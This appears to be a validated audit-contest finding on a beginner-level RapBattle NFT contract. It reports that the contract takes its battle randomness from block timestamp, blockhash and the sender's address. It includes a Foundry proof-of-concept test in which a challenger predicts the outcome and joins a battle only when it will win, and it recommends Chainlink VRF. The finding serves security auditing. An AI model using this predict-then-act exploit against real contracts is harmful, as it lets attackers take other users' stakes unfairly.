Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak Pseudo-Random Number Generators in RapBattle Contract

[H1] Weak Pseudo-Random Number Generators

Summary

Bad randomness vulnerability occurs when a smart contract relies on a source of randomness that is not truly random or that can be predicted by an attacker. This can allow an attacker to manipulate the outcome of a transaction or gain an unfair advantage over other users.

Vulnerability Details

A challenger can create a smart contract that checks if they win before going on battle. If the result is successful, the goOnBattle is executed; if the result is not favorable, the user can choose not to go to battle and wait to attempt another time.

Impact

A challenger can always win the bet and never lose, which is unfair for the defender that goes to battle.

Code Example

This code is to be added into the smart contract RapBattleTest.sol#RapBattleTest:

function testGoOnBattleOnlyUserWin() public mintRapper {
/********* Have 2 users that have NFT and 4 cred Tokens **********************************/
address user2 = makeAddr("User2");
vm.prank(user2);
oneShot.mintRapper();
vm.startPrank(user);
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.startPrank(user2);
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
vm.stopPrank();
vm.startPrank(user2);
streets.unstake(1);
vm.stopPrank();
// Check the balance of both users after 4 days stake
assert(cred.balanceOf(address(user)) == 4);
assert(cred.balanceOf(address(user2)) == 4);
// User goes on battle as defender
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
// User2 manipulates RNG to only go on battle if he wins
bool win = false;
// He could calculate the number and check if he wins before deciding to approve the NFT and credToken
while (!win) {
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), user2))) % totalBattleSkill;
win = random > defenderRapperSkill ? true : false;
vm.warp(111 seconds);
vm.roll(block.number + 1);
if (win) {
vm.startPrank(user2);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
} else {
console.log("##### User2 loses and decides not to go on battle");
}
}
// Check the owner of NFT 0
assertEq(oneShot.ownerOf(0), address(user), "Owner of NFT 0 is not user");
assertEq(oneShot.ownerOf(1), address(user2), "Owner of NFT 1 is not user2");
// Check the balance
assertEq(cred.balanceOf(address(user2)), 7, "User2 balance is not 7");
}

Tools Used

Foundry

Recommendations

Use Chainlink or an Oracle. Chainlink VRF (Verifiable Random Function) is a provably fair and verifiable random number generator (RNG) that enables smart contracts to access random values without compromising security or usability.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.